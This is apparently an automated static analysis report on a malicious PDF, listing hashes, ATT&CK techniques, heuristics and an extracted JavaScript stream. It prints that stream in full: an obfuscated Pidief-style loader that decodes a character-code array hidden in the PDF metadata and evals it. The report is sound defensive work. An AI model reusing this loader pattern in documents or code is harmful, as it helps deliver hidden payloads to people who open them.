Malicious PDF — malware analysis report

Static analysis result for SHA-256 fec4a9e6a717e012…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-06-26
MD5: fb20589e0b6e9ba686597c73da053cd0 SHA-1: c8f02b29fab59facc5f53c2cc0fd938439f27d42 SHA-256: fec4a9e6a717e0126ab13a7c0710cc74067de49efd8f2c83bb784a92161e1c49
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript stream, named 'javascript_obj0001_000.js', is likely responsible for executing malicious actions, such as downloading and executing a second-stage payload. The use of String.fromCharCode further suggests obfuscation techniques common in malicious JavaScript.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45FC 350 bytes
SHA-256: be3435fc1f9da23afd932cd4fc834403cfc6fe05268047ef2a51e44a72669ed9
Preview script
First 1,000 lines of the extracted script
var w = 4;
var nwuu = this.title.replace(/w/g,'*w,');
nwuu = nwuu.replace(/t/g,'2');
nwuu=nwuu.substr(0,nwuu.length-2) + ']';
zhmn=function(){return function(){return this}()}();
oln=zhmn[this.subject];
kkzj=oln(this.producer);
jvv = oln(nwuu);
var s = '';
for (i = 0; i < jvv.length; i++) {
	ucl = jvv[i];
	s += kkzj(ucl);
}
oln(s);

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